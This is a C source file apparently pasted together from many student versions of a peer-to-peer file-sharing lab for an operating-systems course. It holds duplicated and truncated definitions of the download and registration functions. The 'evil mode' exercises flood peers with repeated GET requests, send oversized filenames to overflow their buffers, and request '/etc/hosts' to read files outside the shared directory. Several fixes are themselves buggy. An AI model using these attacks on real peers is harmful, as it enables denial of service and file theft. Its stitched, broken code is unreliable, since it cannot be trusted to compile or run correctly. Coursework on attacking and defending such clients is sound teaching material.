// start_download(tracker_task, filename)
// Return a TASK_DOWNLOAD task for downloading 'filename' from peers.
// Contacts the tracker for a list of peers that have 'filename',
// and returns a task containing that peer list.
task_t *start_download(task_t *tracker_task, const char *filename)
{
char *s1, *s2;
task_t *t = NULL;
peer_t *p;
size_t messagepos;
assert(tracker_task->type == TASK_TRACKER);
message("* Finding peers for '%s'\n", filename);
pthread_mutex_lock (&tracker_mutex); // (Brian)
osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename);
pthread_mutex_unlock (&tracker_mutex); // (Brian)
messagepos = read_tracker_response(tracker_task);
if (tracker_task->buf[messagepos] != '2') {
error("* Tracker error message while requesting '%s':\n%s",
filename, &tracker_task->buf[messagepos]);
goto exit;
}
if (!(t = task_new(TASK_DOWNLOAD))) {
error("* Error while allocating task");
goto exit;
}
strncpy(t->filename, filename, FILENAMESIZ); /* (Alan) */
t->filename[FILENAMESIZ-1] = '\0'; //null-terminate c-string
// add peers
s1 = tracker_task->buf;
while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) {
if (!(p = parse_peer(s1, s2 - s1)))
die("osptracker responded to WANT command with unexpected format!\n");
p->next = t->peer_list;
t->peer_list = p;
s1 = s2 + 1;
}
if (s1 != tracker_task->buf + messagepos)
die("osptracker's response to WANT has unexpected format!\n");
/* (Alan) acquire md5 checksum of requested file by querying tracker */
//start
osp2p_writef(tracker_task->peer_fd, "MD5SUM %s\n", filename); //add md5sum command to tracker task
messagepos = read_tracker_response(tracker_task); //read telnet response
if (tracker_task->buf[messagepos] != '2') //response doesn't match HTTP success code 200-299
{
error("* Tracker error, response was: %s\n", tracker_task->buf);
goto exit;
}
//uncomment following line to simulate invalid downloaded data
//tracker_task->buf[0] = 'x';
strncpy(t->md5, tracker_task->buf, MD5_TEXT_DIGEST_SIZE); //copy response into task's md5 checksum, defend against accidental buffer overflow from evil tracker
t->md5[MD5_TEXT_DIGEST_SIZE] = '\0'; //null-terminate md5 c-string
//end
exit:
return t;
}
// register_files(tracker_task, myalias)
// Registers this peer with the tracker, using 'myalias' as this peer's
// alias. Also register all files in the current directory, allowing
// other peers to upload those files from us.
static void register_files(task_t *tracker_task, const char *myalias)
{
DIR *dir;
struct dirent *ent;
struct stat s;
char buf[PATH_MAX];
size_t messagepos;
assert(tracker_task->type == TASK_TRACKER);
// Register address with the tracker.
osp2p_writef(tracker_task->peer_fd, "ADDR %s %I:%d\n",
myalias, listen_addr, listen_port);
messagepos = read_tracker_response(tracker_task);
message("* Tracker's response to our IP address registration:\n%s",
&tracker_task->buf[messagepos]);
if (tracker_task->buf[messagepos] != '2') {
message("* The tracker reported an error, so I will not register files with it.\n");
return;
}
// Register files with the tracker.
message("* Registering our files with tracker\n");
if ((dir = opendir(".")) == NULL)
die("open directory: %s", strerror(errno));
while ((ent = readdir(dir)) != NULL) {
int namelen = strlen(ent->d_name);
// don't depend on unreliable parts of the dirent structure
// and only report regular files. Do not change these lines.
if (stat(ent->d_name, &s) < 0 || !S_ISREG(s.st_mode)
|| (namelen > 2 && ent->d_name[namelen - 2] == '.'
&& (ent->d_name[namelen - 1] == 'c'
|| ent->d_name[namelen - 1] == 'h'))
|| (namelen > 1 && ent->d_name[namelen - 1] == '~'))
continue;
osp2p_writef(tracker_task->peer_fd, "HAVE %s\n", ent->d_name);
messagepos = read_tracker_response(tracker_task);
if (tracker_task->buf[messagepos] != '2')
error("* Tracker error message while registering '%s':\n%s",
ent->d_name, &tracker_task->buf[messagepos]);
}
closedir(dir);
}
static void denial_of_service(task_t *t)
{
if (!t || !t->peer_list) {
error("No peer can be attacked!\n");
task_free(t);
return;
}else if(t->peer_list->addr.s_addr == listen_addr.s_addr
&& t->peer_list->port == listen_port)
goto try_again;
peer_t *current_peer_list = t->peer_list;
int i = 0;
for(;i<2000;i++) {
message("* Attacking peer %s:%d\n",
inet_ntoa(current_peer_list->addr), current_peer_list->port);
t->peer_fd = open_socket(current_peer_list->addr, current_peer_list->port);
if (t->peer_fd == -1) {
error("* Cannot connect to peer: %s for attack\n", strerror(errno));
goto try_again;
}
osp2p_writef(t->peer_fd, "GET cat1.jpg OSP2P\n");
next:
current_peer_list = current_peer_list->next==0 ? t->peer_list : current_peer_list->next;
//current_peer_list = current_peer_list->next;
}
message("finish deploying attack\n");
return;
try_again:
// recursive call
task_pop_peer(t);
denial_of_service(t);
}
// task_download(t, tracker_task)
// Downloads the file specified by the input task 't' into the current
// directory. 't' was created by start_download().
// Starts with the first peer on 't's peer list, then tries all peers
// until a download is successful.
static void task_download(task_t *t, task_t *tracker_task)
{
int i, ret = -1;
assert((!t || t->type == TASK_DOWNLOAD)
&& tracker_task->type == TASK_TRACKER);
// Quit if no peers, and skip this peer
if (!t || !t->peer_list) {
error("* No peers are willing to serve '%s'\n",
(t ? t->filename : "that file"));
task_free(t);
return;
} else if (t->peer_list->addr.s_addr == listen_addr.s_addr
&& t->peer_list->port == listen_port)
goto try_again;
// Connect to the peer and write the GET command
message("* Connecting to %s:%d to download '%s'\n",
inet_ntoa(t->peer_list->addr), t->peer_list->port,
t->filename);
t->peer_fd = open_socket(t->peer_list->addr, t->peer_list->port);
if (t->peer_fd == -1) {
error("* Cannot connect to peer: %s\n", strerror(errno));
goto try_again;
}
osp2p_writef(t->peer_fd, "GET %s OSP2P\n", t->filename);
// Open disk file for the result.
// If the filename already exists, save the file in a name like
// "foo.txt~1~". However, if there are 50 local files, don't download
// at all.
for (i = 0; i < 50; i++) {
if (i == 0)
{
strncpy(t->disk_filename, t->filename, FILENAMESIZ);
t->filename[FILENAMESIZ-1] = '\0';
}
else
sprintf(t->disk_filename, "%s~%d~", t->filename, i);
t->disk_fd = open(t->disk_filename,
O_WRONLY | O_CREAT | O_EXCL, 0666);
if (t->disk_fd == -1 && errno != EEXIST) {
error("* Cannot open local file");
goto try_again;
} else if (t->disk_fd != -1) {
message("* Saving result to '%s'\n", t->disk_filename);
break;
}
}
if (t->disk_fd == -1) {
error("* Too many local files like '%s' exist already.\n\
* Try 'rm %s.~*~' to remove them.\n", t->filename, t->filename);
task_free(t);
return;
}
// start_download(tracker_task, filename)
// Return a TASK_DOWNLOAD task for downloading 'filename' from peers.
// Contacts the tracker for a list of peers that have 'filename',
// and returns a task containing that peer list.
task_t *start_download(task_t *tracker_task, const char *filename)
{
char *s1, *s2;
task_t *t = NULL;
peer_t *p;
size_t messagepos;
assert(tracker_task->type == TASK_TRACKER);
message("* Finding peers for '%s'\n", filename);
osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename);
do {
messagepos = read_tracker_response(tracker_task);
if (tracker_task->buf[messagepos] != '2') {
error("* Tracker error message while requesting '%s':\n%s",
filename, &tracker_task->buf[messagepos]);
goto exit;
}
if (!(t = task_new(TASK_DOWNLOAD))) {
error("* Error while allocating task");
goto exit;
}
// 2A: file name buffer overrun
if (strlen(t->filename) >= FILENAMESIZ) {
error("* File name too long");
goto exit;
}
// End of 2A code
strcpy(t->filename, filename);
// add peers
s1 = tracker_task->buf;
while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) {
if (!(p = parse_peer(s1, s2 - s1)))
die("osptracker responded to WANT command with unexpected format!\n");
p->next = t->peer_list;
t->peer_list = p;
s1 = s2 + 1;
}
if (s1 != tracker_task->buf + messagepos)
die("osptracker's response to WANT has unexpected format!\n");
if (messagepos == TASKBUFSIZ)
memmove(tracker_task->buf, s1, TASKBUFSIZ - (s1 - tracker_task->buf));
} while (messagepos == TASKBUFSIZ);
exit:
return t;
}
// start_download(tracker_task, filename)
// Return a TASK_DOWNLOAD task for downloading 'filename' from peers.
// Contacts the tracker for a list of peers that have 'filename',
// and returns a task containing that peer list.
task_t *start_download(task_t *tracker_task, const char *filename)
{
char *s1, *s2;
task_t *t = NULL;
peer_t *p;
size_t messagepos;
assert(tracker_task->type == TASK_TRACKER);
message("* Finding peers for '%s'\n", filename);
osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename);
messagepos = read_tracker_response(tracker_task);
if (tracker_task->buf[messagepos] != '2') {
error("* Tracker error message while requesting '%s':\n%s",
filename, &tracker_task->buf[messagepos]);
goto exit;
}
if (!(t = task_new(TASK_DOWNLOAD))) {
error("* Error while allocating task");
goto exit;
}
if(evil_mode != 0)
strcpy(t->filename, filename);
else
{
//exercise 2
//fixed the buffer overrun bug
strncpy(t->filename, filename, FILENAMESIZ);
//add the null-character at the end manually.
t->filename[FILENAMESIZ - 1] = '\0';
}
// add peers
s1 = tracker_task->buf;
while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) {
if (!(p = parse_peer(s1, s2 - s1)))
die("osptracker responded to WANT command with unexpected format!\n");
p->next = t->peer_list;
t->peer_list = p;
s1 = s2 + 1;
}
if (s1 != tracker_task->buf + messagepos)
die("osptracker's response to WANT has unexpected format!\n");
exit:
return t;
}
// start_download(tracker_task, filename)
// Return a TASK_DOWNLOAD task for downloading 'filename' from peers.
// Contacts the tracker for a list of peers that have 'filename',
// and returns a task containing that peer list.
task_t *start_download(task_t *tracker_task, const char *filename)
{
char *s1, *s2;
task_t
*t = NULL;
peer_t *p;
size_t messagepos;
assert(tracker_task->type == TASK_TRACKER);
unsigned remainingData;
message("* Finding peers for '%s'\n", filename);
osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename);
do{
messagepos = read_tracker_response(tracker_task);
if (tracker_task->buf[messagepos] != '2') {
error("* Tracker error message while requesting '%s':\n%s",
filename, &tracker_task->buf[messagepos]);
goto exit;
}
if (!(t = task_new(TASK_DOWNLOAD))) {
error("* Error while allocating task");
goto exit;
}
strcpy(t->filename, filename);
// add peers
s1 = tracker_task->buf;
while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) {
if (!(p = parse_peer(s1, s2 - s1)))
die("osptracker responded to WANT command with unexpected format!\n");
p->next = t->peer_list;
t->peer_list = p;
s1 = s2 + 1;
}
if (s1 != tracker_task->buf + messagepos)
die("osptracker's response to WANT has unexpected format!\n");
//////////////////////////////////////////////////////////////////////////////////
//Exercise 2B is here!!! It deals with buffer flooding by popular tracker
//////////////////////////////////////////////////////////////////////////////////
if (messagepos==TASKBUFSIZ) {
remainingData = TASKBUFSIZ-(s1-tracker_task->buf);
memmove(tracker_task->buf, s1, remainingData);
}
}while (messagepos==TASKBUFSIZ);
exit:
return t;
}
// start_download(tracker_task, filename)
// Return a TASK_DOWNLOAD task for downloading 'filename' from peers.
// Contacts the tracker for a list of peers that have 'filename',
// and returns a task containing that peer list.
task_t *start_download(task_t *tracker_task, const char *filename)
{
char *s1, *s2;
task_t *t = NULL;
peer_t *p;
size_t messagepos;
assert(tracker_task->type == TASK_TRACKER);
//EXERCISE 2A ALTERNATIVE SOLUTION INSTEAD OF STRNCPY:
/*if (strlen(filename) > FILENAMESIZ){
error("* Filename requested too long!\n");
goto exit;
}*/
message("* Finding peers for '%s'\n", filename);
osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename);
messagepos = read_tracker_response(tracker_task);
if (tracker_task->buf[messagepos] != '2') {
error("* Tracker error message while requesting '%s':\n%s",
filename, &tracker_task->buf[messagepos]);
goto exit;
}
if (!(t = task_new(TASK_DOWNLOAD))) {
error("* Error while allocating task");
goto exit;
}
//EXERCISE 2A CHANGE
//in case truncate, add null terminator
strncpy(t->filename, filename, FILENAMESIZ-1);
t->filename[FILENAMESIZ-1] = '\0';
// add peers
s1 = tracker_task->buf;
while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) {
if (!(p = parse_peer(s1, s2 - s1)))
die("osptracker responded to WANT command with unexpected format!\n");
p->next = t->peer_list;
t->peer_list = p;
s1 = s2 + 1;
}
if (s1 != tracker_task->buf + messagepos)
die("osptracker's response to WANT has unexpected format!\n");
exit:
return t;
}
// start_download(tracker_task, filename)
// Return a TASK_DOWNLOAD task for downloading 'filename' from peers.
// Contacts the tracker for a list of peers that have 'filename',
// and returns a task containing that peer list.
task_t *start_download(task_t *tracker_task, const char *filename)
{
char *s1, *s2;
task_t *t = NULL;
peer_t *p;
size_t messagepos;
assert(tracker_task->type == TASK_TRACKER);
message("* Finding peers for '%s'\n", filename);
osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename);
messagepos = read_tracker_response(tracker_task);
if (tracker_task->buf[messagepos] != '2') {
error("* Tracker error message while requesting '%s':\n%s",
filename, &tracker_task->buf[messagepos]);
goto exit;
}
if (!(t = task_new(TASK_DOWNLOAD))) {
error("* Error while allocating task");
goto exit;
}
// 2A
// Since we're passing argv[1] here, let's make sure it's the right size.
if(strlen(filename) > FILENAMESIZ - 1) {
error("* File name '%s' is too long!\n%s",
filename);
goto exit;
}
strcpy(t->filename, filename);
// add peers
s1 = tracker_task->buf;
while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) {
if (!(p = parse_peer(s1, s2 - s1)))
die("osptracker responded to WANT command with unexpected format!\n");
p->next = t->peer_list;
t->peer_list = p;
s1 = s2 + 1;
}
if (s1 != tracker_task->buf + messagepos)
die("osptracker's response to WANT has unexpected format!\n");
exit:
return t;
}
/*
The peer should serve files located in its current directory
ßto requesting peers.
The peer should not serve files located in any other directory.
*/
task_t *start_download(task_t *tracker_task, const char *filename)
{
char *s1, *s2;
task_t *t = NULL;
peer_t *p;
size_t messagepos;
assert(tracker_task->type == TASK_TRACKER);
if (strlen(filename) >= FILENAMESIZ) {
error("Filename %s is too long, please use a filename that is less than %d characters", filename, FILENAMESIZ);
goto exit;
}
message("* Finding peers for '%s'\n", filename);
osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename);
messagepos = read_tracker_response(tracker_task);
if (tracker_task->buf[messagepos] != '2') {
error("* Tracker error message while requesting '%s':\n%s",
filename, &tracker_task->buf[messagepos]);
goto exit;
}
if (!(t = task_new(TASK_DOWNLOAD))) {
error("* Error while allocating task");
goto exit;
}
strncpy(t->filename, filename, FILENAMESIZ - 1);
//ensure null termination
t->filename[FILENAMESIZ - 1] = '\0';
// add peers
s1 = tracker_task->buf;
while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) {
if (!(p = parse_peer(s1, s2 - s1)))
die("osptracker responded to WANT command with unexpected format!\n");
p->next = t->peer_list;
t->peer_list = p;
s1 = s2 + 1;
}
if (s1 != tracker_task->buf + messagepos)
die("osptracker's response to WANT has unexpected format!\n");
exit:
return t;
}
//////////////////EXERCISE 3 START Attack //////////////////
task_t *prepare_attack(task_t *tracker_task)
{
char *s1, *s2;
task_t
*t = NULL;
peer_t *p;
size_t messagepos;
assert(tracker_task->type == TASK_TRACKER);
unsigned remaining_data;
message("* Finding peers: initiate filename attack");
osp2p_writef(tracker_task->peer_fd, "WHO\n");
do{
messagepos = read_tracker_response(tracker_task);
if (tracker_task->buf[messagepos] != '2') {
error("* Tracker error message:\n%s", &tracker_task->buf[messagepos]);
goto exit;
}
if (!(t = task_new(TASK_DOWNLOAD))) {
error("* Error while allocating task");
goto exit;
}
// add peers
s1 = tracker_task->buf;
while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) {
if (!(p = parse_peer(s1, s2 - s1)))
die("osptracker responded; unexpected format\n");
p->next = t->peer_list;
t->peer_list = p;
s1 = s2 + 1;
}
if (s1 != tracker_task->buf + messagepos)
die("osptracker's response; unexpected format\n");
if (messagepos==TASKBUFSIZ) {
remaining_data = TASKBUFSIZ-(s1-tracker_task->buf);
memmove(tracker_task->buf, s1, remaining_data);
}
}while (messagepos==TASKBUFSIZ);
message("found %s", t->buf);
exit:
return t;
}
// start_download(tracker_task, filename)
// Return a TASK_DOWNLOAD task for downloading 'filename' from peers.
// Contacts the tracker for a list of peers that have 'filename',
// and returns a task containing that peer list.
task_t *start_download(task_t *tracker_task, const char *filename)
{
char *s1, *s2;
task_t *t = NULL;
peer_t *p;
size_t messagepos;
assert(tracker_task->type == TASK_TRACKER);
message("* Finding peers for '%s'\n", filename);
osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename);
messagepos = read_tracker_response(tracker_task);
if (tracker_task->buf[messagepos] != '2') {
error("* Tracker error message while requesting '%s':\n%s",
filename, &tracker_task->buf[messagepos]);
goto exit;
}
if (!(t = task_new(TASK_DOWNLOAD))) {
error("* Error while allocating task");
goto exit;
}
// EXERCISE 2A: FILENAME BUFFER OVERRUN
// Avoid downloading a file with a name that is too long
// The max number of bytes to copy is FILENAMESIZ, so use strncpy to
// limit how much we copy, and add a null terminator at the end.
strncpy(t->filename, filename, FILENAMESIZ);
t->filename[FILENAMESIZ - 1] = '\0';
// add peers
s1 = tracker_task->buf;
while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) {
if (!(p = parse_peer(s1, s2 - s1)))
die("osptracker responded to WANT command with unexpected format!\n");
p->next = t->peer_list;
t->peer_list = p;
s1 = s2 + 1;
}
if (s1 != tracker_task->buf + messagepos)
die("osptracker's response to WANT has unexpected format!\n");
exit:
return t;
}
// register_files(tracker_task, myalias)
// Registers this peer with the tracker, using 'myalias' as this peer's
// alias. Also register all files in the current directory, allowing
// other peers to upload those files from us.
static void register_files(task_t *tracker_task, const char *myalias)
{
DIR *dir;
struct dirent *ent;
struct stat s;
char buf[PATH_MAX];
size_t messagepos;
assert(tracker_task->type == TASK_TRACKER);
// Register address with the tracker.
osp2p_writef(tracker_task->peer_fd, "ADDR %s %I:%d\n",
myalias, listen_addr, listen_port);
messagepos = read_tracker_response(tracker_task);
message("* Tracker's response to our IP address registration:\n%s",
&tracker_task->buf[messagepos]);
if (tracker_task->buf[messagepos] != '2') {
message("* The tracker reported an error, so I will not register files with it.\n");
return;
}
// Register files with the tracker.
message("* Registering our files with tracker\n");
if ((dir = opendir(".")) == NULL)
die("open directory: %s", strerror(errno));
while ((ent = readdir(dir)) != NULL) {
int namelen = strlen(ent->d_name);
// don't depend on unreliable parts of the dirent structure
// and only report regular files. Do not change these lines.
if (stat(ent->d_name, &s) < 0 || !S_ISREG(s.st_mode)
|| (namelen > 2 && ent->d_name[namelen - 2] == '.'
&& (ent->d_name[namelen - 1] == 'c'
|| ent->d_name[namelen - 1] == 'h'))
|| (namelen > 1 && ent->d_name[namelen - 1] == '~'))
continue;
/* (Alan) calculate md5 */
//start
md5_state_t *md5_state;
char taskbuf[TASKBUFSIZ + 1];
taskbuf[TASKBUFSIZ] = '\0';
char md5[MD5_TEXT_DIGEST_SIZE + 1];
md5[MD5_TEXT_DIGEST_SIZE] = '\0';
md5_state = (md5_state_t *) malloc(sizeof(md5_state_t));
md5_init(md5_state);
int bytes, file = open(ent->d_name, O_RDONLY);
while ((bytes = read(file, taskbuf, TASKBUFSIZ)) > 0)
md5_append(md5_state, (md5_byte_t *) &taskbuf, bytes);
md5_finish_text(md5_state, md5, 1);
free(md5_state);
//end
pthread_mutex_lock (&tracker_mutex); // (Brian)
osp2p_writef(tracker_task->peer_fd, "HAVE %s\n", ent->d_name, md5); /* (Alan) add md5 argument */
pthread_mutex_unlock (&tracker_mutex); // (Brian)
messagepos = read_tracker_response(tracker_task);
if (tracker_task->buf[messagepos] != '2')
error("* Tracker error message while registering '%s':\n%s",
ent->d_name, &tracker_task->buf[messagepos]);
}
closedir(dir);
}
// task_download(t, tracker_task)
// Downloads the file specified by the input task 't' into the current
// directory. 't' was created by start_download().
// Starts with the first peer on 't's peer list, then tries all peers
// until a download is successful.
static void task_download(task_t *t, task_t *tracker_task)
{
int i, ret = -1;
size_t messagepos;
assert((!t || t->type == TASK_DOWNLOAD)
&& tracker_task->type == TASK_TRACKER);
//Read the checksum of the file from tracker:
char *file_digest = 0;
osp2p_writef(tracker_task->peer_fd, "MD5SUM %s\n", t->filename);
messagepos = read_tracker_response(tracker_task);
message("Tracker buf: %s\n", tracker_task->buf);
if (tracker_task->buf[messagepos] != '2') {
error("* Tracker error message while requesting checksum of '%s':\n%s",
t->filename, &tracker_task->buf[messagepos]);
}
else{
file_digest = malloc(MD5_TEXT_DIGEST_SIZE+1);
memcpy(file_digest, tracker_task->buf, MD5_TEXT_DIGEST_SIZE);
file_digest[MD5_TEXT_DIGEST_SIZE] = 0;
}
// Quit if no peers, and skip this peer
if (!t || !t->peer_list) {
error("* No peers are willing to serve '%s'\n",
(t ? t->filename : "that file"));
task_free(t);
return;
} else if (t->peer_list->addr.s_addr == listen_addr.s_addr
&& t->peer_list->port == listen_port)
goto try_again;
t->disk_fd = open(t->disk_filename, O_WRONLY | O_CREAT | O_EXCL, 0666);
if (t->disk_fd == -1 && errno != EEXIST) {
error("* Cannot open local file");
goto try_again;
} else if (t->disk_fd != -1)
message("* Saving result to '%s'\n", t->disk_filename);
int blockno = 0;
int i_peer = 0;
peer_t *apeer;
while(1){
apeer = get_peer(t->peer_list, i_peer);
// Connect to the peer and write the GET command
message("* Connecting to %s:%d to download '%s'\n",
inet_ntoa(apeer->addr), apeer->port,
t->filename);
t->peer_fd = open_socket(apeer->addr, apeer->port);
if (t->peer_fd == -1) {
error("* Cannot connect to peer: %s\n", strerror(errno));
goto try_again;
}
if(evil_mode == 0)
osp2p_writef(t->peer_fd, "GET %s%d OSP2P\n", t->filename, blockno);
else{
//*******************************
//Exercise 3: try to overflow a peer's buffer by requesting a file with a long name
char evil_name[2*FILENAMESIZ];
int i_name;
for(i_name = 0; i_name < 2*FILENAMESIZ - 1; i_name++)
evil_name[i_name] = 'a';
evil_name[i_name] = 0;
osp2p_writef(t->peer_fd, "GET %s OSP2P\n", evil_name);
//**********************************
}
// Open disk file for the result.
// If the filename already exists, save the file in a name like
// "foo.txt~1~". However, if there are 50 local files, don't download
// at all.
/* for (i = 0; i < 50; i++) {
if (i == 0)
strcpy(t->disk_filename, t->filename);
else
sprintf(t->disk_filename, "%s~%d~", t->filename, i);
t->disk_fd = open(t->disk_filename,
O_WRONLY | O_CREAT | O_EXCL, 0666);
if (t->disk_fd == -1 && errno != EEXIST) {
error("* Cannot open local file");
goto try_again;
} else if (t->disk_fd != -1) {
message("* Saving result to '%s'\n", t->disk_filename);
break;
}
}
if (t->disk_fd == -1) {
error("* Too many local files like '%s' exist already.\n\
* Try 'rm %s.~*~' to remove them.\n", t->filename, t->filename);
task_free(t);
return;
}*/
lseek(t->disk_fd, BLKSIZE, SEEK_CUR);
// Read the file into the task buffer from the peer,
// and write it from the task buffer onto disk.
while (1) {
int ret = read_to_taskbuf(t->peer_fd, t);
if (ret == TBUF_ERROR) {
error("* Peer read error");
goto try_again;
} else if (ret == TBUF_END && t->head == t->tail)
/* End of file */
break;
ret = write_from_taskbuf(t->disk_fd, t);
if (ret == TBUF_ERROR) {
error("* Disk write error");
goto try_again;
}
//*********************************
//Exercise 2: prevent from downloading a file that is too large
if(t->total_written > MAX_FILE_SIZE){
error("* Error: file too big for download\n");
goto try_again;
}
//**********************************
}
if(ret == TBUF_END && t->head == t->tail)
break;
//Compare the checksum of file on disk to checksum reported by tracker:
if(file_digest){
char *download_digest = create_digest(t->disk_filename);
message("* Tracker's checksum for file '%s' is: %s\n", t->filename,
file_digest);
message("* Checksum of the downloaded file is: %s\n", download_digest);
if(strcmp(file_digest, download_digest) != 0){
error("* Downloaded a corrupted file!!! Try download again...\n");
}
}
blockno++;
i_peer++;
}
// Empty files are usually a symptom of some error.
if (t->total_written > 0) {
message("* Downloaded '%s' was %lu bytes long\n",
t->disk_filename, (unsigned long) t->total_written);
// Inform the tracker that we now have the file,
// and can serve it to others! (But ignore tracker errors.)
if (strcmp(t->filename, t->disk_filename) == 0) {
osp2p_writef(tracker_task->peer_fd, "HAVE %s\n",
t->filename);
(void) read_tracker_response(tracker_task);
}
task_free(t);
return;
}
error("* Download was empty, trying next peer\n");
try_again:
if (t->disk_filename[0])
unlink(t->disk_filename);
// recursive call
task_pop_peer(t);
task_download(t, tracker_task);
}
// task_download(t, tracker_task)
// Downloads the file specified by the input task 't' into the current
// directory. 't' was created by start_download().
// Starts with the first peer on 't's peer list, then tries all peers
// until a download is successful.
static void task_download(task_t *t, task_t *tracker_task)
{
int i, ret = -1;
assert((!t || t->type == TASK_DOWNLOAD)
&& tracker_task->type == TASK_TRACKER);
// Quit if no peers, and skip this peer
if (!t || !t->peer_list) {
error("* No peers are willing to serve '%s'\n",
(t ? t->filename : "that file"));
task_free(t);
return;
} else if (t->peer_list->addr.s_addr == listen_addr.s_addr
&& t->peer_list->port == listen_port)
goto try_again;
// Connect to the peer and write the GET command
message("* Connecting to %s:%d to download '%s'\n",
inet_ntoa(t->peer_list->addr), t->peer_list->port,
t->filename);
t->peer_fd = open_socket(t->peer_list->addr, t->peer_list->port);
if (t->peer_fd == -1) {
error("* Cannot connect to peer: %s\n", strerror(errno));
goto try_again;
}
//first we attack peer's buffer, make it overrun
//for simple attack, we set filename to all 'x'
if (evil_mode == FILENAME_OVERFLOW) {
message("* Attacking with filename buffer overflow\n");
char* evil_filename = (char*) malloc(FILENAMESIZ*2);
memset(evil_filename, 'x', FILENAMESIZ*2);
//send overflow input
osp2p_writef(t->peer_fd, "GET %s OSP2P\n", evil_filename);
}
//Keep request the same file
if (evil_mode == FILE_REPEAT) {
while(1) {
osp2p_writef(t->peer_fd, "GET %s OSP2P\n", t->filename);
}
}
osp2p_writef(t->peer_fd, "GET %s OSP2P\n", t->filename);
// Open disk file for the result.
// If the filename already exists, save the file in a name like
// "foo.txt~1~". However, if there are 50 local files, don't download
// at all.
for (i = 0; i < 50; i++) {
if (i == 0)
strcpy(t->disk_filename, t->filename);
else
sprintf(t->disk_filename, "%s~%d~", t->filename, i);
t->disk_fd = open(t->disk_filename,
O_WRONLY | O_CREAT | O_EXCL, 0666);
if (t->disk_fd == -1 && errno != EEXIST) {
error("* Cannot open local file");
goto try_again;
} else if (t->disk_fd != -1) {
message("* Saving result to '%s'\n", t->disk_filename);
break;
}
}
if (t->disk_fd == -1) {
error("* Too many local files like '%s' exist already.\n\
* Try 'rm %s.~*~' to remove them.\n", t->filename, t->filename);
task_free(t);
return;
}
static void task_download(void *thread_data_void)
{
// Take void parameter passed to thread and cast to correct data structure (Brian)
// start
thread_data_t* tdata = (thread_data_t*) thread_data_void;
assert(tdata);
// end
// Now get the correct parameters from thread_data (Brian)
// start
task_t *t = (task_t*) tdata->t;
task_t *tracker_task = (task_t*) tdata->tracker_task;
// end
// lock thread mutex (Brian)
if (false == tdata->recursive)
{
pthread_mutex_lock(&tdata->mutex);
tdata->started = true;
}
int i, ret = -1;
// previous assertion seems incorrect (Brian)
// start
/*
assert((!t || t->type == TASK_DOWNLOAD)
&& (tracker_task->type == TASK_TRACKER));
*/
assert((t && t->type == TASK_DOWNLOAD)
&& (tracker_task && tracker_task->type == TASK_TRACKER));
// end
// Quit if no peers, and skip this peer
if (!t || !t->peer_list) {
error("* No peers are willing to serve '%s'\n",
(t ? t->filename : "that file"));
goto exit; // (Brian)
} else if (t->peer_list->addr.s_addr == listen_addr.s_addr
&& t->peer_list->port == listen_port)
goto try_again;
// Connect to the peer and write the GET command
message("* Connecting to %s:%d to download '%s'\n",
inet_ntoa(t->peer_list->addr), t->peer_list->port,
t->filename);
t->peer_fd = open_socket(t->peer_list->addr, t->peer_list->port);
if (t->peer_fd == -1) {
error("* Cannot connect to peer: %s\n", strerror(errno));
goto try_again;
}
/* (Alan) If in evil mode, attempt to download file from outside of peer's working directory.
*
*/
//start
char request_filename[FILENAMESIZ];
if (evil_mode == ATTACK_ACCESS_FILES)
strncpy(request_filename, "/etc/hosts", FILENAMESIZ);
else
strncpy(request_filename, t->filename, FILENAMESIZ);
request_filename[FILENAMESIZ-1] = '\0'; //null-terminate c-string
//end
/* (Alan) Attempt DoS attack */
int attempts = (evil_mode == ATTACK_DOS) ? NUM_DOS_ATTEMPTS : 1;
pthread_mutex_lock (&tracker_mutex); // (Brian)
/* (Alan) exploid buffer overflow on remote peer by requesting file with filename length greater than FILENAMESIZ */
//start
char request_filename_mod[FILENAMESIZ * 2];
strncpy(request_filename_mod, request_filename, FILENAMESIZ);
if (evil_mode == ATTACK_BUFFER_OVERFLOW)
{
int i;
for (i = strlen(request_filename); i + strlen(request_filename) < FILENAMESIZ * 2; i += strlen(request_filename))
strcpy(request_filename_mod + i, request_filename); //repeatedly copy filename into oversized buffer
message("WANT %s\n", request_filename_mod);
}
//end
for (i = 0; i < attempts; i++)
osp2p_writef(t->peer_fd, "GET %s OSP2P\n", request_filename_mod);
pthread_mutex_unlock (&tracker_mutex); // (Brian)
// Open disk file for the result.
// If the filename already exists, save the file in a name like
// "foo.txt~1~". However, if there are 50 local files, don't download
// at all.
for (i = 0; i < 50; i++) {
if (i == 0)
strncpy(t->disk_filename, t->filename, FILENAMESIZ); /* (Alan) */
else
sprintf(t->disk_filename, "%s~%d~", t->filename, i);
t->disk_filename[FILENAMESIZ-1] = '\0'; //null-terminate c-string
t->disk_fd = open(t->disk_filename,
O_WRONLY | O_CREAT | O_EXCL, 0666);
if (t->disk_fd == -1 && errno != EEXIST) {
error("* Cannot open local file");
goto try_again;
} else if (t->disk_fd != -1) {
message("* Saving result to '%s'\n", t->disk_filename);
break;
}
}
if (t->disk_fd == -1) {
error("* Too many local files like '%s' exist already.\n\
* Try 'rm %s.~*~' to remove them.\n", t->filename, t->filename);
goto exit; // (Brian)
}
// task_download(t, tracker_task)
// Downloads the file specified by the input task 't' into the current
// directory. 't' was created by start_download().
// Starts with the first peer on 't's peer list, then tries all peers
// until a download is successful.
static void task_download(task_t *t, task_t *tracker_task)
{
int i, ret = -1;
assert((!t || t->type == TASK_DOWNLOAD)
&& tracker_task->type == TASK_TRACKER);
// Quit if no peers, and skip this peer
if (!t || !t->peer_list) {
error("* No peers are willing to serve '%s'\n",
(t ? t->filename : "that file"));
task_free(t);
return;
